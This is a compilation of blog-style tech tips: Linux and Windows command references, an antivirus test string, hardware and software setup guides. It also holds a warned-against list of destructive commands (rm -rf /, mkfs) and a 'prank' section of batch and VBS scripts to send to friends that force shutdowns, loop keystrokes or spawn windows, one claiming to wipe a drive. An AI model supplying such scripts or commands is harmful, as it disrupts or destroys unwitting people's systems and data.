Linux Command

Privileges

sudo command - run command as root
sudo su - open a root shell
sudo su user - open a shell as user
sudo -k - forget sudo passwords
gksudo command - visual sudo dialog (GNOME)
kdesudo command - visual sudo dialog (KDE)
sudo visudo - edit /etc/sudoers
gksudo nautilus - root file manager (GNOME)
kdesudo konqueror - root file manager (KDE)
passwd - change your password


Display

sudo /etc/init.d/gdm restart - restart X (GNOME)
sudo /etc/init.d/kdm restart - restart X (KDE)
(file) /etc/X11/xorg.conf - display configuration
sudo dpkg-reconfigure -phigh xserver-xorg - reset X configuration
Ctrl+Alt+Bksp - restart X display if frozen
Ctrl+Alt+FN - switch to tty N
Ctrl+Alt+F7 - switch back to X display

This command will usually tell you the vendor and model of your graphic card
list
lspci
lspci -v
lspci -v | less

System Services

start service - start job service (Upstart)
stop service - stop job service (Upstart)
status service - check if service is running (Upstart)
/etc/init.d/service start - start service (SysV)
/etc/init.d/service stop - stop service (SysV)
/etc/init.d/service status - check service (SysV)
/etc/init.d/service restart - restart service (SysV)
runlevel - get current runlevel


Package Management

apt-get update - refresh available updates
apt-get upgrade - upgrade all packages
apt-get dist-upgrade - upgrade Ubuntu version
apt-get install pkg - install pkg
apt-get remove pkg - uninstall pkg
apt-get autoremove - remove obsolete packages
apt-get -f install - try to fix broken packages
dpkg –configure -a - try to fix broken packages
dpkg -i pkg.deb - install file pkg.deb
(file) /etc/apt/sources.list - APT repository list


Network

ifconfig - show network information
iwconfig - show wireless information
sudo iwlist scan - scan for wireless networks
sudo /etc/init.d/networking restart - reset network
(file) /etc/network/interfaces - manual configuration
ifup interface - bring interface online
ifdown interface - disable interface


Special Packages

ubuntu-desktop - standard Ubuntu environment
kubuntu-desktop - KDE desktop
xubuntu-desktop - XFCE desktop
ubuntu-minimal - core Ubuntu utilities
ubuntu-standard - standard Ubuntu utilities
ubuntu-restricted-extras - non-free, but useful
kubuntu-restricted-extras - KDE of the above
xubuntu-restricted-extras - XFCE of the above
build-essential - packages used to compile programs
linux-image-generic - latest generic kernel image
linux-headers-generic - latest build headers


Firewall

ufw enable - turn on the firewall
ufw disable - turn off the firewall
ufw default allow - allow all connections by default
ufw default deny - drop all connections by default
ufw status - current status and rules
ufw allow port - allow traffic on port
ufw deny port - block port
ufw deny from ip - block ip adress


Application Names

nautilus - file manager (GNOME)
dolphin - file manager (KDE)
konqueror - web browser/filemanager (KDE)
kate - text editor (KDE)
gedit - text editor (GNOME)


System

Recovery - Type the phrase “REISUB” while
holding down Alt and SysRq (PrintScrn) with
about 1 second between each letter. Your system
will reboot.
lsb_release -a - get Ubuntu version
uname -r - get kernel version
uname -a - get all kernel information

Moving around in the file system

pwd "Print working directory" - show what dir you're in.
ls -List the contents of a dir.
ls -l -List the contents of a dir and show additional info of the files.
ls -a -List all files, including hidden files.
cd -Change directory.
cd .. -Go to the parent directory.


Manipulating files and directories

cp -Copy a file.
cp -i -Copy a file and ask before overwriting.
cp -r -Copy a directory with its contents.
mv -Move or rename a file.
mv -i -Move or rename a file and ask before overwriting.
rm -Remove a file.
rm -r -Remove a directory with its contents.
rm -i -Ask before removing a file. Good to use with the -r option.
mkdir -Make a directory.
rmdir -Remove an empty directory.


zipping/taring

tar -cvzf mytar.tar.gz sourcefilesordir - creates a new tar file, verbose options on, runs it through gnuzip,f is the filename
tar -xvf mytar.tar.gz destination - extracts a tar file (this example is compressed with gzip), verbosely, f is the filename
gzip fileordir - compresses a file with gzip.
gunzip file.gz - decompresses a file with gzip.
NB gzip only compresses files, it doesn’t collect them into a single file like a tarball does.


More Commands

Arrow Up: scrolls and edits the command history, press enter to activate.
Shift+pgup: scrolls terminal output up
Shift+pgdown: scrolls terminal output down
CTRL-ALT+DEL reboots the system
Shutdown -h now turns the system off
CTRL C kills the current process
CTRL S Stops the tranfer to the terminal
CTRL Q Resumes the transfer to the terminal
CTRL Z Puts the current process in the background.


hostname - Shows the host name of the system you are on
whoami Displays your login name
date - Displays what your machine thinks the date is
who - Shows who is logged into the machine
rwho-a -Shows all users logged into the server network
finger Shows info on chosen user
last - Show the last users logged into the machine
uptime - Shows the systems uptime
PS - Shows the current user processes
PS -A - Shows all process on the system
uname -A -Displays all info on your host.
free -Shows the free memory in KB
df -h -Shows the disk space details
cat/proc/cpuinfo -Shows the CPU information
cat/proc/filesystems -Shows the file system information in use
cat/etc/printcap -Shows if any printers are hooked up
lsmod -Shows the kernel modules loaded


Malicious Commands
You Should (NOT USE) unless you know what you're doing.

This commands will erase your hard drive:
sudo mkfs (This will format your hard drive)
sudo mkfs.ext3 (This will format your hard drive)
sudo mkfs.bfs (This will format your hard drive)
sudo mkfs.cramfs (This will format your hard drive)
sudo mkfs.ext2 (This will format your hard drive)
sudo mkfs.minix (This will format your hard drive)
sudo mkfs.msdos (This will format your hard drive)
sudo mkfs.reiserfs (This will format your hard drive)
sudo mkfs.vfat (This will format your hard drive)

This commands can damage your operating system.

sudo rm -rf / (This will delete all your files on your system)
sudo rm -rf * (This will delete all the files in the current folder)
rm -rf * or rm -rf *.* (This will delete all the files in the current folder)
rm -rf ~/ & (This will destroy your home directory)

If you cannot add contacts on my msn....

Delete your Contacts cache folder
If your contact list is empty or incomplete after you upgrade to Windows Live Messenger, the cached contact list may not have updated correctly. Before you can delete your Contacts cache folder, make sure you can view your complete folder list in Windows Explorer.
View your complete folder list
On the taskbar, right-click Start, and then select Explore.
Click on Tools, and then select Folder Options.
In the Folder Options window, click the View tab.
In the Advanced Settings list, select Show hidden files and folders, make sure Hide extensions for known file types is not selected, and then click OK.
In the Windows Explorer window, click View, select Explorer Bar, and then verify that Folders is checked.

Delete your Contacts cache folder
After changing your Windows Explorer settings:
On the taskbar, right-click Start, and then select Explore.
In the folder list on the left-hand pane, navigate to the folder C:\Documents and Settings\Your Windows logon name\Contacts\Your Messenger email address.
Delete all of the files within the folder Your Messenger email address.
In the folder list on the left-hand pane, navigate to the folder C:\Documents and Settings\Your Windows logon name\Local Settings\Application Data\Microsoft\Windows Live Contacts\Your Messenger email address.
In the Your Messenger email address folder, delete the real and shadow folders.
Close Windows Explorer and try to sign in to Messenger again

How to Check Your Anti-Virus Software Working Properly Or Not.

#1

This article is best in checking out whether your antivirus software is running at its best or not. It was not known to many that how to check the antivirus software they are using is working properly or not. Please read the article for the details.

Click Start --> Open Notepad -->

Copy the code exactly in the notepad :

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Now Save it with the name fakevirus.exe in any of your folder/drives.

if this file got deleted immediately...then it means that your antivirus is working properly and updated !!

If this doesnt happens and you see the saved file in that folder do right click the file and select scan with your installed antivirus and if the scan shows the file then it means your antivirus is working properly but not updated with a new version, as best antivirus softwares detect any virus (at the same second when you save the same in your system)without your effort of going to specified folder and scanning the folder.

If it doesnt shows any kind of threats then you need to change your antivirus software immediately with some good one with the new version.

10 Most dangerous scripts to prank your friends.

ALL OF THEZE COMMANDZ ARE TO BE TYPED IN NOTEPAD...

--- --- --- --- --- --- --- --- ---

1) Convey your friend a little message and shut down his / her computer:
Type :

Code:

@echo off
msg * I don't like yo
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Quote:

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Save it as "Anything.VBS" and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Quote:

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

Quote:

WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

Quote:

MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Quote:

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

Quote:

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

Quote:

@echo off title The end of the world cd C:\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two

How Hard Drives work

What is a Hard Drive

Almost all desktop computers have a hard drive inside them, but do you really know what they are? Many people when they hear the word hard drive, think that it refers to the computer as a whole. In reality, though, the hard drive is just one of many different pieces that comprise a computer. The hard drive is one of the most important parts of your computer because it is used as a long-term storage space for your data. What that means, is regardless of whether or not the computer is on, or you lose power, the data will still stay stored on this drive keeping it safe. On the other hand, it tells you how important backing up your data is, because if the hard drive malfunctions there is a good chance you will lose it all.

A hard drive is an integral piece of equipment for your computer as your operating system and all your data are typically stored there. In the majority of the situations, if you did not have a working hard drive, or the hard drive malfunctions, you would not be able to boot your computer into the operating system and would get an error. If you opened your computer case and wanted to find your hard drive, it would look similar to the image below:

How hard drives work

If you were to open your hard drive, which would immediately void your warranty and potentially damage it, you would see something like the image below:

A hard drive consists of the following:

• Magnetic platters - Platters are the round plates in the image above. Each platter holds a certain amount of information, so a drive with a lot of storage will have more platters than one with less storage. When information is stored and retrieved from the platters it is done so in concentric circles, called tracks, which are further broken down into segments called sectors.
  
• Arm - The arm is the piece sticking out over the platters. The arms will contain read and write heads which are used to read and store the magnetic information onto the platters. Each platter will have its own arm which is used to read and write data off of it.
  
• Motor - The motor is used to spin the platters from 4,500 to 15,000 rotations per minute (RPM). The faster the RPM of a drive, the better performance you will achieve from it.

When a the computer wants to retrieve data off of the hard drive, the motor will spin up the platters and the arm will move itself to the appropriate position above the platter where the data is stored. The heads on the arm will detect the magnetic bits on the platters and convert them into the appropriate data that can be used by the computer. Conversely, when data is sent to the drive, the heads will this time, send magnetic pulses at the platters changing the magnetic properties of the platter, and thus storing your information.
It is important to note, that since the data stored on your hard drive is magnetic, it is not a good idea to play with a magnet near your hard drive

Hard Drive Interfaces
A hard drive connects to your computer through a specific type of interface. The interface on your hard drive must match the corresponding interface on your motherboard. If you purchase a new hard drive that has a interface that your motherboard does not support, it will not work in your computer. Currently there are three interfaces that have become the standard for connecting your hard to your computer. Some information about each of these interfaces are below.

• IDE or ATA - This is currently the most common interface used but is quickly becoming overcome by the newer SATA interface. Hard drives using this type of interface have speeds up to 100 Mbps.
  
• SATA - A newer interface that uses less bulky cables and has speeds starting at 150 Mbps for SATA and 300 Mbps for SATA II. Almost all computer manufacturers have started using SATA drives.
  
• SCSI - This type of interface is typically used in a business environment for servers. Hard Drives designed for a SCSI interface tend to have a faster RPM which therefore provides better performance.
  

When buying a hard drive
When purchasing a hard drive there are some characteristics you want to keep in mind that will help you determine the right drive for your needs. These characteristics are:

• Seek Time - The amount of time required to move a drive's read/write head to a particular location on the disk. The lower the number, the better.
  
• Access time - The actual amount of time from when a data is requested from a drive and delivered. The lower the number, the better.
  
• RPMS - How fast the platters spin. The higher the number, the faster the drive will be.
  
• Capacity - The amount of storage space available on the drive. Typically most drives purchased today will be 80 Gigabytes or greater. An 80 GB hard drive will on average cost around 60 USD.
  
• Interface - How the hard drive connects to your computer. Make sure that the hard drive's interface is supported on your computer before you purchase it.

An A-Z Index of Windows Scripting Host commands (WSH/VB Script)

Arguments, display - WshArguments.Item (also Count and length)

Command, cscript - Run a VBS/WSH Script
Command, .Run command
Command, .Exec execute command
Command, .AppActivate activate running command

Drive Map - .MapNetworkDrive
Drive Map, list - .EnumNetworkDrives
Drive Map, remove - .RemoveNetworkDrive

Echo text .Echo
Echo text to StdOut.Write
Echo, popup .Popup
Environment, read env variables - .Environment
Environment, expand env variables - .ExpandEnvironmentStrings
Environment, delete env variables - .WshEnvironment.Remove
Environment, echo .ComputerName
Environment, echo .UserName
Environment, echo .UserDomain

Log an item in the Event log .LogEvent

Object, create - .CreateObject
Object, get - .GetObject
Object, disconnect- .DisconnectObject

Path of wscript.exe - .Name
Path to current directory - .CurrentDirectory
Pathname of wscript.exe - .FullName
Pathname of script being run - .ScriptFullName
Path to desktop,start menu.. - .SpecialFolders
Printer, add printer - .AddPrinterConnection
Printer, add Network printer - .AddWindowsPrinterConnection
Printer, list printers - .EnumPrinterConnections
Printer, set default printer - .SetDefaultPrinter
Printer, remove printer - .RemovePrinterConnection

Quit - .Quit

Registry, delete - .RegDelete
Registry, read - .RegRead
Registry, write - .RegWrite

Send Keys - .SendKeys
Shortcut,create - .CreateShortcut
Sleep - .Sleep

text input - .ReadLine
text output - .Write
Version of wscript - .Version

Syntax
Variables, Functions, Operators,
Conditional and looping Statements.

Examples:
DriveMap.vbs - Connect to a network file share.
qchange.vbs - Re-assign network printer connections
compinfo.vbs - List Computer properties (as shown in ADUC)
userinfo.vbs - List User properties (as shown in ADUC)
datetime.vbs - Get Date, Time and daylight savings
uname.vbs - List user's simple name when called with a Distinguished Name
Localadmins.vbs - List local administrators across a network domain

All the syntax on this page assumes you have Windows Scripting Host version 5.6 (as supplied with Windows XP.) Examples are in VB Script.
Windows Scripting Host 5.7 is also now available.

Windows XP Command Line Syntax

   Parameters    Command Line Parameters  %1  %~f1

  Variables     Create/read environment variables

  Redirection   Spooling output to a file, piping input

  AND/OR Logic  Conditional Execution (If-Then-Else)

  Loops         Loops and Subroutines

  functions     How to package blocks of code

Services     List of Windows XP Services



Evaluating expressions

  Using brackets to Group and expand expressions

  Delayed Expansion Manage  and  text

  SET /A        Environment variable arithmetic

  VarSubstring  Extract part of a variable (substring)

  VarSearch     Search & replace part of a variable

  Escape chars, delimiters and quotes

  Wildcards     Match multiple files



Batch Files

  DateMath      Add or subtract days from any date

  GetDate.cmd   Get todays date (any region, any OS)

  GetTime.cmd   Get the time now

  GetGMT.cmd    Time adjusted to Greenwich Mean Time

  datetime.vbs  Get Date, Time and daylight savings

  deQuote       Remove quotes from a string

  DelOlder.cmd  Delete files more than n days old

  Stamp.cmd     Rename a file with the date/time

  Which.cmd     Display full path to any command

  DragDrop.cmd  Drag and drop onto a batch script



Reference/How to

  Slow Browsing  Speed up network browsing

  Printing       Printer connections and print drivers

  Qchange        Script to change Printer connections

  Permissions    Local vs Global workgroups

  Long Filenames NTFS filename issues

  WorkGroups     Built-In Users and Security Groups

  autoexec       Run commands at startup

  Recovery       The Recovery Console

  WinXP Registry User interface settings

An A-Z Index of the Windows XP command line

Hope this is so useful

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations•
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another•
CD Change Directory - move to a specific Folder•
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen•
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window•
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location•
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date•
DEFRAG Defragment hard drive
DEL Delete one or more files•
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders•
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory
DSRM Remove items from Active Directory
e
ECHO Display message on screen•
ENDLOCAL End localisation of environment changes in a batch file•
ERASE Delete one or more files•
EXIT Quit the current script/routine and set an errorlevel•
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files•
FOR /F Loop command: against the results of another command•
FOR Loop command: all options Files, Directory, List•
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations•
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line•
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command•
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders•
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another•
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
p
PATH Display or set a search path for executable files•
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message•
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD•
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt•
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory•
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file•
REN Rename a file or files•
REPLACE Replace or update one file with another
RD Delete folder(s)•
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables•
SETLOCAL Control the visibility of environment variables•
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file•
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window•
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time•
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session•
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file•
u
USRSTAT List domain usernames and last login
v
VER Display version information•
VERIFY Verify that files have been saved•
VOL Display a disk label•
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders
:: Comment / Remark•

Commands marked • are Internal commands only available within the CMD shell.
All other commands (not marked with •) are external commands which may be used under the CMD shell, PowerShell, or directly from START-RUN.

Antivirus for Linux

There are very little virus that have targeted Linux based operating systems in the past. There for the requirement of a Virus Guard isn't felt badly.

But there are Open Source virus guards that are available for download. CLAMTK is one such virus guard and is available for download from http://clamtk.sourceforge.net.

I have heard that there is no necessarily to have a virus guard if you are on Linux.There for just enjoy your time with Linux. You are much safe with Open Source than with Bill.

Managing SmartPhones/PDAs of Windows Mobile in Linux

I thought Windows and Linux were enemies. Well, it seems not...

What is best, the big old desktop/surface computer or a small 3inch screen of a SmartPhone or PDA? I'd prefer the big stuff that can easily be gripped. I am not alone, I know it when my friends and you guys ask if phone management is possible in Linux.

The answer is, very possible. This is very true if you are running Windows Mobile.

All what you need is SynCE. Awailable at SourceForge, it makes your life much simple. Just plugin your phone before starting SynCE and you are done.

Apart form theat kMobileTools is also a very useful set of tools that you can use to send SMS, call, phone book management and etc.

• http://www.kmobiletools.org/
• http://sourceforge.net/projects/synce/

ZTE ZXDSL 852 : Linux Drivers

ZTE 852 DSL modem isn't recognised by Ubuntu Linux and there are some setting up you have to do before getting it running.

Initially I suppose that you have the Ubuntu Linux CD/DVD with you. You need this because some packages which are necessary for the procedure are not installed with the Operating System. Other than that you will have to download UbuDSL which is open source and free to download.

UbuDSL : You can easily download this from www.ubudsl.com.

Install OpenOffice 3.0 in Ubuntu 8.1

First of all get the tar.gz from the OpenOffice site. You can use the following link -- Here --.

Extract the tar.gz achieve to your desktop.

Get to the terminal and do the following

sudo dpkg -i ~/Desktop/OOO300_m9_native_packed-1_en-US.9358/DEBS/*.deb

sudo apt-get remove openoffice.org openoffice.org-base openoffice.org-base-core openoffice.org-calc openoffice.org-common openoffice.org-core openoffice.org-draw openoffice.org-evolution openoffice.org-filter-mobiledev openoffice.org-gnome openoffice.org-gtk openoffice.org-help-en-us openoffice.org-impress openoffice.org-java-common openoffice.org-l10n-common openoffice.org-l10n-en-gb openoffice.org-l10n-en-za openoffice.org-math openoffice.org-style-human openoffice.org-writer

sudo dpkg -i ~/Desktop/OOO300_m9_native_packed-1_en-US.9358/DEBS/desktop-integration/openoffice.org3.0-debian-menus_3.0-9354_all.deb

Incase you need to remove OpenOffice from your system, then you can do the following in the Terminal.

sudo apt-get remove ooobasis3.0-base ooobasis3.0-binfilter ooobasis3.0-calc ooobasis3.0-core01 ooobasis3.0-core02 ooobasis3.0-core03 ooobasis3.0-core04 ooobasis3.0-core05 ooobasis3.0-core06 ooobasis3.0-core07 ooobasis3.0-draw ooobasis3.0-en-us ooobasis3.0-en-us-base ooobasis3.0-en-us-binfilter ooobasis3.0-en-us-calc ooobasis3.0-en-us-draw ooobasis3.0-en-us-help ooobasis3.0-en-us-impress ooobasis3.0-en-us-math ooobasis3.0-en-us-res ooobasis3.0-en-us-writer ooobasis3.0-gnome-integration ooobasis3.0-graphicfilter ooobasis3.0-images ooobasis3.0-impress ooobasis3.0-javafilter ooobasis3.0-kde-integration ooobasis3.0-math ooobasis3.0-onlineupdate ooobasis3.0-ooofonts ooobasis3.0-ooolinguistic ooobasis3.0-pyuno ooobasis3.0-testtool ooobasis3.0-writer ooobasis3.0-xsltfilter openoffice.org3 openoffice.org3-base openoffice.org3-calc openoffice.org3-dict-en openoffice.org3-dict-es openoffice.org3-dict-fr openoffice.org3-draw openoffice.org3-en-us openoffice.org3-impress openoffice.org3-math openoffice.org3-writer openoffice.org-ure

I have discussed how to install OpenOffice 3 (actually update it) using the Update Manager HERE. I recoment that method rather than this.

OpenOffice

Try open office for your requirements
its free and easy to use also


http://why.openoffice.org/index.html


download the new version from here
support for Microsoft windows,mac and Linux,Solars also

http://download.openoffice.org/other.html


some screen shots are here

http://www.openoffice.org/product/pix/writer-big.png
http://www.openoffice.org/product/pix/calc-big.png
http://www.openoffice.org/product/pix/impress-big.png
http://www.openoffice.org/product/pix/draw-big.png
http://www.openoffice.org/product/pix/base-big.png
http://www.openoffice.org/product/pix/math-big.png

HOWTO improving your internet connection using wondershaper

---

I just downgraded my internet connection. I just hate it when a p2p application prevents me from browsing the web fast. So let's do something about it

wondershaper is an easy to use traffic shaping script that provides these improvements:

* Low latency for interactive traffic (and pings) at all times
* Allow websurfing at reasonable speeds while uploading / downloading
* Make sure uploads don't hurt downloads
* Make sure downloads don't hurt uploads

official webpage :
http://lartc.org/wondershaper

about the ubuntu package :
http://packages.ubuntu.com/hoary/net/wondershaper

/usr/share/doc/wondershaper contains readme files. You might want to read these also.

I'm using firestarter together with wondershaper. Nothing has to be changed to firestarter.

So here we go :
sudo apt-get install wondershaper

use ifconfig to determine which of your networkcards is the one that is connected to your modem (and thus the internet).

$ifconfig

the networkcard that has your normal ip adress is the one (not 192.168.x.x)

Go to a speedtesting website (for example a speedtesting website by your internet provider or www.speedtest.nl if you live in the netherlands) and determine your average upload and download speed. Use these speeds as a guide.

$sudo wondershaper eth1 downspeed upspeed

download a big and uncompressable file while pinging to a fast and stable server on the internet or to your modem and adjust your downspeed until you are satisfied :

$sudo wondershaper eth1 downspeed upspeed

Now do the same with uploading a big and uncompressable file.

You have to tweak these settings a while until you are satisfied. When you are ready you can make these connection settings permanent by :

$ sudo pico /etc/network/interfaces

add these lines under eth1 if eth1 is your internetconnection. Change eth1,upspeed and downspeed to your settings.

Code:

up /sbin/wondershaper eth1 downspeed upspeed
down /sbin/wondershaper clear eth1

And we are done!

Conky

Conky is an advanced, highly configurable system monitor for X based on torsmo.Conky is an powerful desktop app that posts system monitoring info onto the root window. It is hard to set up properly (has unlisted dependencies, special command line compile options, and requires a mod to xorg.conf to stop it from flickering, and the apt-get version doesnt work properly). Most people can’t get it working right, but its an AWESOME app if it can be set up right done.

Install Conky in Ubuntu

sudo apt-get install conky

This will complete the installation

Configuring Conky

Make a configuration file in your home directory (Ex:-/home/ubuntuadmin)

vi /home/ubuntuadmin/.conkyrc

Paste the following code into the file and save / exit

# UBUNTU-CONKY
# A comprehensive conky script, configured for use on
# Ubuntu / Debian Gnome, without the need for any external scripts.
#
# Based on conky-jc and the default .conkyrc.
# INCLUDES:
# – tail of /var/log/messages
# – netstat connections to your computer
#
# — Pengo (conky@pengo.us)
#

# Create own window instead of using desktop (required in nautilus)
own_window yes
own_window_type override
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager

# Use double buffering (reduces flicker, may not work for everyone)
double_buffer yes

# fiddle with window
use_spacer yes
use_xft no

# Update interval in seconds
update_interval 3.0

# Minimum size of text area
# minimum_size 250 5

# Draw shades?
draw_shades no

# Text stuff
draw_outline no # amplifies text if yes
draw_borders no
font arial
uppercase no # set to yes if you want all text to be in uppercase

# Stippled borders?
stippled_borders 3

# border margins
border_margin 9

# border width
border_width 10

# Default colors and also border colors, grey90 == #e5e5e5
default_color grey

own_window_colour brown
own_window_transparent yes

# Text alignment, other possible values are commented
#alignment top_left
alignment top_right
#alignment bottom_left
#alignment bottom_right

# Gap between borders of screen and text
gap_x 10
gap_y 10

# stuff after ‘TEXT’ will be formatted on screen

TEXT
$color
${color orange}SYSTEM ${hr 2}$color
$nodename $sysname $kernel on $machine

${color orange}CPU ${hr 2}$color
${freq}MHz Load: ${loadavg} Temp: ${acpitemp}
$cpubar
${cpugraph 000000 ffffff}
NAME PID CPU% MEM%
${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
